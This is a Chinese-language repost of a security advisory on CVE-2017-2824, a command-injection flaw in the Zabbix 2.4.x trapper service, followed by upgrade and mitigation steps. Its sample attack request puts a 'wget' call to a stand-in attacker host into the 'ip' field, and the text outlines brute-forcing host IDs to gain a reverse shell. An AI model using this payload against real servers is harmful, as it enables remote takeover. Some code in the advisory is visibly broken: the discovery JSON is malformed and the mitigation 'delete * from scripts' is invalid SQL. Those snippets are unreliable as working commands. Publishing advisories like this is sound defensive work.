Zabbix爆远程代码执行漏洞数据库写入高危漏洞(CVE-2017-2824)
Posted 奇妙的Linux世界
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Zabbix爆远程代码执行漏洞数据库写入高危漏洞(CVE-2017-2824)相关的知识,希望对你有一定的参考价值。
题图:By James Padolsey From Unsplash
关于Zabbix
zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。
zabbix能监视各种网络参数,保证服务器系统的安全运营;并提供灵活的通知机制以让系统管理员快速定位/解决存在的各种问题。
漏洞详情
CVE-2017-2824:Zabbix Server Active Proxy Trapper 远程代码执行漏洞
Zabbix 2.4.x中的trapper command功能存在一处代码执行漏洞,特定的数据包可造成命令注入,进而远程执行代码,攻击者可以从一个Zabbix proxy发起请求从而促发漏洞。
影响版本
Zabbix 2.4.7 - 2.4.8r1
漏洞描述
该漏洞位于Zabbix中“Trapper”代码部分,它的主要功能是允许Proxy和Server进行通信的网络服务(TCP端口10051)Zabbix Server提供了一组针对Zabbix Proxy的API调用,两个将讨论的是“discovery data”和“request command”。这些请求的示例数据如下所示:
'{"request":"command","scriptid":1,"hostid":10001}'
'{"request":"discovery data","host":"zabbix-proxy.com","clock":10,
"data":[{"clock":10,"drule":1,"dcheck2,"type":0,"ip:10.0.0.1, "dns":"zabbix-agent.com", port":10050,"key":"test","status":0,"value":"test_value"}]}
应该注意的是,request命令调用位于Zabbix数据库中的脚本,而不进行任何身份验证。该漏洞的另一个关键方面是,默认情况下,Zabbix 2.4.X使用脚本以下表中的3个脚本填充mysql数据库:
这个难题在于有效地将值插入到Zabbixhost表。默认情况下,未经身份验证的攻击者无法做到这一点,它需要系统管理员的一个次要配置,特别是关于Zabbix自动发现功能。
因此,通过使用合适的主机向服务器发送一个发现数据请求,可以将命令注入插入到数据库中:
write_script_cmd='{
"request":"discoverydata",
"host":"zabbix-proxy.domain.fake",
"clock":148535399,
"data":[{
"clock":1485353070,
"drule":88,
"dcheck":174,
"type":0,
"ip":";wget -O/tmp/shttp://attacker-ip/s;#",
"dns":"host28.domain.fake",
"port":10050,
"key":"sectest",
"status":0,
"value":"lnx<(^_^)>host"
}]}'
run_cmd = '{
"request":"command",
"scriptid":1,
"hostid":14666
}'
在这两个主机被添加之后,仍然有一个问题,即不知道该hostid的command请求,但是这很容易解决了。暴力请求入数据库,因为不同的命令请求会返回不同的响应,确定主机是否存在,一旦存在的主机被确定,就可以直接调用它们,并且可以获得反向的shell。
修复方案
1.官网修复版本发布后及时升级,目前官方反馈会在以下版本修复:2.0.21rc1, 2.2.18rc1, 3.0.9rc1, 3.2.5rc1, 3.4.0alpha1 (trunk)
2.缓解措施:删除Zabbix数据库中的默认脚本条目
直接操作数据库删除SQL为:
use zabbix;
delete * from scripts;
使用图形界面删除(Administration->Scripts->Checkmarks->Delete Selected)。
参考文档
更多精彩热文:
以上是关于Zabbix爆远程代码执行漏洞数据库写入高危漏洞(CVE-2017-2824)的主要内容,如果未能解决你的问题,请参考以下文章
重大紧急安全预警:Apache Struts 2再爆高危远程漏洞